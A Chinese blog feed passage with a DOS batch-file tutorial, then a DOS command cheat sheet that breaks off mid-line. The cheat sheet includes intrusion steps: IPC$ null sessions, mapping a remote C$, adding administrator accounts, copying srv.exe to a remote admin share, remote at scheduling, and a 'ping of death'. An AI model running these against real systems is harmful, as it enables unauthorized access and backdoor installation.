<p>==== willsort 编注 ===========<br>首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:<br>CR(0D) 命令行结束符<br>Escape(1B) ANSI转义字符引导符<br>Space(20) 常用的参数界定符<br>Tab(09) ; = 不常用的参数界定符<br>+ COPY命令文件连接符<br>* ? 文件通配符<br>"" 字符串界定符<br>| 命令管道符<br>&lt; &gt; &gt;&gt; 文件重定向符<br>@ 命令行回显屏蔽符<br>/ 参数开关引导符<br>: 批处理标签引导符<br>% 批处理变量引导符</p>
<p>其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:<br>第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.<br>第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.<br>=====================</p>
<p>echo 表示显示此命令后的字符<br>echo off 表示在此语句后所有运行的命令都不显示命令行本身<br>@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。<br>call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。<br>pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续<br>rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。<br>==== willsort 编注 =====<br>此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理</p>
<p>-------------------------<br>ECHO</p>
<p>当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。</p>
<p>在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。<br>使用ECHO命令可关闭此功能。</p>
<p>语法</p>
<p>ECHO [ON|OFF]</p>
<p>若要用echo命令显示一条命令，可用下述语法：</p>
<p>echo [message]</p>
<p>参数</p>
<p>ON|OFF<br>指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO<br>命令。</p>
<p>message<br>指定让MS-DOS在屏幕上显示的正文。</p>
<p>-------------------</p>
<p>CALL</p>
<p>从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。</p>
<p>语法</p>
<p>CALL [drive:][path]filename [batch-parameters]</p>
<p>参数</p>
<p>[drive:][path]filename<br>指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。</p>
<p><br>batch-parameters<br>指定批处理程序所需的命令行信息。</p>
<p>-------------------------------</p>
<p>PAUSE</p>
<p>暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处<br>理程序中使用该命令。</p>
<p>语法</p>
<p>PAUSE</p>
<p><br>REM</p>
<p>在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS<br>中也可以用分号(;)代替REM命令，但在批处理文件中则不能替代）。</p>
<p>语法</p>
<p>REM [string]</p>
<p>参数</p>
<p>string<br>指定要屏蔽的命令或要包含的注解。<br>=======================</p>
<p>例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。</p>
<p>　　批处理文件的内容为: 　　　　　　　 命令注释：</p>
<p>　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行<br>　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt<br>　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos<br>　　　　echo 你好 　　　　　　　　　　 显示"你好"<br>　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续<br>　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps<br>　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录<br>　　　　wps 　　　　　　　　　　　　　 运行wps　　</p>
<p>批处理文件的参数</p>
<p>批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。</p>
<p>%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。</p>
<p>例2：C:根目录下有一批处理文件名为f.bat，内容为：<br>@echo off<br>format %1</p>
<p>如果执行C:\&gt;f a:<br>那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:</p>
<p>例3：C:根目录下一批处理文件名为t.bat，内容为:<br>@echo off<br>type %1<br>type %2</p>
<p>那么运行C:\&gt;t a.txt b.txt<br>%1 : 表示a.txt<br>%2 : 表示b.txt<br>于是上面的命令将顺序地显示a.txt和b.txt文件的内容。</p>
<p>==== willsort 编注 ===============<br>参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:</p>
<p>初始状态, cmd 为命令名, 可以用 %0 引用<br>cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10<br>^ ^ ^ ^ ^ ^ ^ ^ ^ ^<br>| | | | | | | | | |<br>%0 %1 %2 %3 %4 %5 %6 %7 %8 %9</p>
<p>经过1次shift后, cmd 将无法被引用<br>cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10<br>^ ^ ^ ^ ^ ^ ^ ^ ^ ^<br>| | | | | | | | | |<br>%0 %1 %2 %3 %4 %5 %6 %7 %8 %9</p>
<p>经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义<br>cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10<br>^ ^ ^ ^ ^ ^ ^ ^ ^<br>| | | | | | | | |<br>%0 %1 %2 %3 %4 %5 %6 %7 %8</p>
<p>遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针.<br>====================</p>
<p>特殊命令</p>
<p><br>if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。</p>
<p><br>一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:</p>
<p>1、if [not] "参数" == "字符串" 待执行的命令</p>
<p>参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。</p>
<p>例：if "%1"=="a" format a:</p>
<p>==== willsort 编注 </p>
<p>if 的命令行帮助中关于此点的描述为:<br>IF [NOT] string1==string2 command<br>在此有以下几点需要注意:<br>1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符<br>2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量<br>3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行<br>=============================</p>
<p>2、if [not] exist [路径\]文件名 待执行的命令<br>如果有指定的文件，则条件成立，运行命令，否则运行下一句。</p>
<p>如: if exist c:\config.sys type c:\config.sys<br>表示如果存在c:\config.sys文件，则显示它的内容。</p>
<p>****** willsort 编注 ********<br>也可以使用以下的用法:<br>if exist command<br>device 是指DOS系统中已加载的设备, 在win98下通常有:<br>AUX, PRN, CON, NUL<br>COM1, COM2, COM3, COM4<br>LPT1, LPT2, LPT3, LPT4<br>XMSXXXX0, EMMXXXX0<br>A: B: C: ...,<br>CLOCK$, CONFIG$, DblBuff$, IFS$HLP$<br>具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:<br>1. 该设备确实存在(由软件虚拟的设备除外)<br>2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)<br>3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)<br>可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备<br>另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.<br>==================================</p>
<p>3、if errorlevel &lt;数字&gt; 待执行的命令</p>
<p>很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。</p>
<p>如if errorlevel 2 goto x2</p>
<p>==== willsort 编注 ===========<br>返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:</p>
<p>if errorlevel 1 set el=1<br>if errorlevel 2 set el=2<br>if errorlevel 3 set el=3<br>if errorlevel 4 set el=4<br>if errorlevel 5 set el=5<br>...</p>
<p>当然, 也可以使用以下循环来替代, 原理是一致的:<br>for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e</p>
<p>更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章</p>
<p>出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.</p>
<p>另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了<br>===========================</p>
<p><br>二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。</p>
<p>如:</p>
<p>goto end</p>
<p>:end<br>echo this is the end</p>
<p>标号用":字符串"来定义，标号所在行不被执行。</p>
<p>==== willsort 编注 </p>
<p>label 常被译为 "标签" , 但是这并不具有广泛的约定性.</p>
<p>goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:</p>
<p>Batch C / Basic<br>goto&amp;: goto&amp;:<br>goto&amp;:&amp;if if{}&amp;else{} / if&amp;elseif&amp;endif<br>goto&amp;:&amp;if... switch&amp;case / select case<br>goto&amp;:&amp;if&amp;set&amp;envar... function() / function(),sub()<br>==================================</p>
<p>三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。</p>
<p>注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。</p>
<p>choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：</p>
<p>CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]</p>
<p>描述:<br>该工具允许用户从选择列表选择一个项目并返回所选项目的索引。</p>
<p>参数列表:<br>/C choices 指定要创建的选项列表。默认列表是 "YN"。</p>
<p>/N 在提示符中隐藏选项列表。提示前面的消息得到显示，<br>选项依旧处于启用状态。</p>
<p>/CS 允许选择分大小写的选项。在默认情况下，这个工具<br>是不分大小写的。</p>
<p>/T timeout 做出默认选择之前，暂停的秒数。可接受的值是从 0<br>到 9999。如果指定了 0，就不会有暂停，默认选项<br>会得到选择。</p>
<p>/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选<br>项指定的一组选择中; 同时，必须用 /T 指定 nnnn。</p>
<p>/M text 指定提示之前要显示的消息。如果没有指定，工具只<br>显示提示。</p>
<p>/? 显示帮助消息。</p>
<p>注意:<br>ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选<br>择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，<br>该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的<br>ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0<br>的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降<br>序排列。</p>
<p>示例:<br>CHOICE /?<br>CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"<br>CHOICE /T 10 /C ync /CS /D y<br>CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"<br>CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"</p>
<p>==== willsort 编注 ===============================<br>我列出win98下choice的用法帮助, 已资区分</p>
<p>Waits for the user to choose one of a set of choices.<br>等待用户选择一组待选字符中的一个</p>
<p>CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]</p>
<p>/C[:]choices Specifies allowable keys. Default is YN<br>指定允许的按键(待选字符), 默认为YN<br>/N Do not display choices and ? at end of prompt string.<br>不显示提示字符串中的问号和待选字符<br>/S Treat choice keys as case sensitive.<br>处理待选字符时大小写敏感<br>/T[:]c,nn Default choice to c after nn seconds<br>在 nn 秒后默认选择 c<br>text Prompt string to display<br>要显示的提示字符串<br>ERRORLEVEL is set to offset of key user presses in choices.<br>ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值<br>====================================</p>
<p>如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"<br>屏幕上会显示：<br>确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?</p>
<p><br>例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:<br>@echo off<br>choice /C dme /M "defrag,mem,end"<br>if errorlevel 3 goto end<br>if errorlevel 2 goto mem<br>if errorlevel 1 goto defrag</p>
<p>:defrag<br>c:\dos\defrag<br>goto end</p>
<p>:mem<br>mem<br>goto end</p>
<p>:end<br>echo good bye</p>
<p>此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。</p>
<p>四、for 循环命令，只要条件符合，它将多次执行同一命令。</p>
<p>语法：<br>对一组文件中的每一个文件执行某个特定命令。</p>
<p>FOR %%variable IN (set) DO command [command-parameters]</p>
<p>%%variable 指定一个单一字母可替换的参数。<br>(set) 指定一个或一组文件。可以使用通配符。<br>command 指定对每个文件执行的命令。<br>command-parameters<br>为特定命令指定参数或命令行开关。</p>
<p>例如一个批处理文件中有一行:<br>for %%c in (*.bat *.txt) do type %%c</p>
<p>则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。</p>
<p>==== willsort 编注 =====================================================<br>需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环.<br>当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能.<br>========================================================================</p>
<p>批处理示例</p>
<p>1. IF-EXIST</p>
<p>1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下：<br>@echo off<br>IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT<br>IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist</p>
<p>然后运行它：<br>C:\&gt;TEST1.BAT</p>
<p>如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。</p>
<p>2) 接着再建立一个test2.bat文件，内容如下：<br>@ECHO OFF<br>IF EXIST \%1 TYPE \%1<br>IF NOT EXIST \%1 ECHO \%1 does not exist</p>
<p>执行:<br>C:\&gt;TEST2 AUTOEXEC.BAT<br>该命令运行结果同上。</p>
<p>说明：<br>(1) IF EXIST 是用来测试文件是否存在的，格式为<br>IF EXIST [路径+文件名] 命令<br>(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。</p>
<p>==== willsort 编注 =====================================================<br>DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符.<br>========================================================================</p>
<p>3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：<br>@echo off<br>IF "%1" == "A" ECHO XIAO<br>IF "%2" == "B" ECHO TIAN<br>IF "%3" == "C" ECHO XIN</p>
<p>如果运行：<br>C:\&gt;TEST3 A B C<br>屏幕上会显示:<br>XIAO<br>TIAN<br>XIN</p>
<p>如果运行：<br>C:\&gt;TEST3 A B<br>屏幕上会显示<br>XIAO<br>TIAN</p>
<p>在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。</p>
<p>2、IF-ERRORLEVEL</p>
<p>建立TEST4.BAT，内容如下：<br>@ECHO OFF<br>XCOPY C:\AUTOEXEC.BAT D:\<br>IF ERRORLEVEL 1 ECHO 文件拷贝失败<br>IF ERRORLEVEL 0 ECHO 成功拷贝文件</p>
<p>然后执行文件:<br>C:\&gt;TEST4</p>
<p>如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。</p>
<p>IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。<br>因此下面的批处理文件是错误的：</p>
<p>@ECHO OFF<br>XCOPY C:\AUTOEXEC.BAT D:\<br>IF ERRORLEVEL 0 ECHO 成功拷贝文件<br>IF ERRORLEVEL 1 ECHO 未找到拷贝文件<br>IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作<br>IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作<br>IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误</p>
<p>无论拷贝是否成功，后面的：</p>
<p>未找到拷贝文件<br>用户通过ctrl-c中止拷贝操作<br>预置错误阻止文件拷贝操作<br>拷贝过程中写盘错误</p>
<p>都将显示出来。</p>
<p>以下就是几个常用命令的返回值及其代表的意义：</p>
<p>backup<br>0 备份成功<br>1 未找到备份文件<br>2 文件共享冲突阻止备份完成<br>3 用户用ctrl-c中止备份<br>4 由于致命的错误使备份操作中止</p>
<p>diskcomp<br>0 盘比较相同<br>1 盘比较不同<br>2 用户通过ctrl-c中止比较操作<br>3 由于致命的错误使比较操作中止<br>4 预置错误中止比较</p>
<p>diskcopy<br>0 盘拷贝操作成功<br>1 非致命盘读/写错<br>2 用户通过ctrl-c结束拷贝操作<br>3 因致命的处理错误使盘拷贝中止<br>4 预置错误阻止拷贝操作</p>
<p>format<br>0 格式化成功<br>3 用户通过ctrl-c中止格式化处理<br>4 因致命的处理错误使格式化中止<br>5 在提示"proceed with format（y/n）?"下用户键入n结束</p>
<p>xcopy<br>0 成功拷贝文件<br>1 未找到拷贝文件<br>2 用户通过ctrl-c中止拷贝操作<br>4 预置错误阻止文件拷贝操作<br>5 拷贝过程中写盘错误</p>
<p>==== willsort 编注 =====================================================<br>chkdsk<br>0 未找到错误<br>255 找到一个或多个错误</p>
<p>choice<br>0 用户按下ctrl+c/break<br>1 用户按下第一个键<br>255 检测到命令行中的错误条件<br>其它 用户按下的有效字符在列表中的位置</p>
<p>defrag<br>0 碎片压缩成功<br>1 出现内部错误<br>2 磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇<br>3 用户用Ctrl+C退出了DEFRAG<br>4 出现一般性错误<br>5 DEFRAG在读簇时遇到错误<br>6 DEFRAG在写簇时遇到错误<br>7 分配空间有错<br>8 内存错<br>9 没有足够空间来压缩磁盘碎片</p>
<p>deltree<br>0 成功地删除一个目录</p>
<p>diskcomp<br>0 两盘相同<br>1 发现不同<br>2 按CTRL+C 终止了比较<br>3 出现严重错误<br>4 出现初始化错误</p>
<p>find<br>0 查找成功且至少找到了一个匹配的字符串<br>1 查找成功但没找到匹配的字符串<br>2 查找中出现了错误</p>
<p>keyb<br>0 键盘定义文件装入成功<br>1 使用了非法的键盘代码，字符集或语法<br>2 键盘定义文件坏或未找到<br>4 键盘、监视器通讯时出错<br>5 要求的字符集未准备好</p>
<p>move<br>0 成功地移动了指定的文件<br>1 发生了错误</p>
<p>msav /N<br>86 检查到了病毒</p>
<p>replace<br>0 REPLACE成功地替换或加入了文件<br>1 MS-DOS版本和REPLACE不兼容<br>2 REPLACE找不到源文件<br>3 REPLACE找不到源路径或目标路径<br>5 不能存取要替换的文件<br>8 内存不够无法执行REPLACE<br>11 命令行句法错误</p>
<p>restore<br>0 RESTORE成功地恢复了文件<br>1 RESTORE找不到要恢复的文件<br>3 用户按CTRL+C终止恢复过程<br>4 RESTORE因错误而终止</p>
<p>scandisk<br>0 ScanDisk在它检查的驱动器上未检测到任何错误<br>1 由于命令行的语法不对，不能运行ScanDisk<br>2 由于内存用尽或发生内部错误，ScanDisk意外终止<br>3 用户让ScanDisk中途退出<br>4 进行盘面扫描时，用户决定提前退出<br>254 ScanDisk找到磁盘故障并已全部校正<br>255 ScanDisk找到磁盘故障，但未能全部校正</p>
<p>setver<br>0 SETVER成功地完成了任务<br>1 用户指定了一个无效的命令开关<br>2 用户指定了一个非法的文件名<br>3 没有足够的系统内存来运行命令<br>4 用户指定了一个非法的版本号格式<br>5 SETVER在版本表中未找到指定的项<br>6 SETVER未找到SETVER.EXE文件<br>7 用户指定了一个非法的驱动器<br>8 用户指定了太多的命令行参数<br>9 SETVER检测到丢失了命令行参数<br>10 在读SETVER.EXE文件时，SETVER检测到发生错误<br>11 SETVER.EXE文件损坏<br>12 指定的SETVER.EXE文件不支持版本表<br>13 版本表中没有足够的空间存放新的项<br>14 在写SETVER.EXE文件时SETVER检测到发生错误<br>========================================================================</p>
<p>3、IF STRING1 == STRING2</p>
<p>建立TEST5.BAT，文件内容如下：<br>@echo off<br>IF "%1" == "A" FORMAT A:</p>
<p>执行：<br>C:\&gt;TEST5 A<br>屏幕上就出现是否将A:盘格式化的内容。</p>
<p>注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。<br>如：if [%1]==[A] 或者 if %1*==A*</p>
<p>5、GOTO</p>
<p>建立TEST6.BAT，文件内容如下：<br>@ECHO OFF<br>IF EXIST C:\AUTOEXEC.BAT GOTO _COPY<br>GOTO _DONE<br>:_COPY<br>COPY C:\AUTOEXEC.BAT D:\<br>:_DONE</p>
<p>注意：<br>(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。<br>(2) 标号的命名规则与文件名的命名规则相同。<br>(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。</p>
<p>==== willsort 编注 =====================================================<br>1)标号也称作标签(label)<br>2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多<br>3)当无法区别两个标签时, 将跳转至位置最靠前的标签<br>========================================================================</p>
<p>6、FOR</p>
<p>建立C:\TEST7.BAT，文件内容如下：<br>@ECHO OFF<br>FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C</p>
<p>运行：<br>C:\&gt;TEST7</p>
<p>执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。</p><img src ="http://www.blogjava.net/Alpha/aggbug/134628.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Alpha/" target="_blank">Alpha</a> 2007-08-06 10:40 <a href="http://www.blogjava.net/Alpha/articles/134628.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令字典-全集</title><link>http://www.blogjava.net/Alpha/articles/89435.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Fri, 22 Dec 2006 01:46:00 GMT</pubDate><guid>http://www.blogjava.net/Alpha/articles/89435.html</guid><wfw:comment>http://www.blogjava.net/Alpha/comments/89435.html</wfw:comment><comments>http://www.blogjava.net/Alpha/articles/89435.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Alpha/comments/commentRss/89435.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Alpha/services/trackbacks/89435.html</trackback:ping><description><![CDATA[<div>net use <a><font color="#249ede">\\ip\ipc$</font></a> " " /user:" " 建立IPC空链接 <br />net use <a><font color="#249ede">\\ip\ipc$</font></a> "密码" /user:"用户名" 建立IPC非空链接 <br />net use h: <a><font color="#249ede">\\ip\c$</font></a> "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h: <a><font color="#249ede">\\ip\c$</font></a> 登陆后映射对方C：到本地为H: <br />net use <a><font color="#249ede">\\ip\ipc$</font></a> /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view <a><font color="#249ede">\\ip</font></a> 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br /></div>
		<div>
				<br />#2 二：</div>
		<div>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at <a><font color="#249ede">\\ip</font></a> time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe <a><font color="#249ede">\\ip\***$</font></a> 复制本地c:\srv.exe到对方的***下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy <a><font color="#249ede">\\ip\***$\svv.exe</font></a> c:\ 或:copy\\ip\***$\*.* 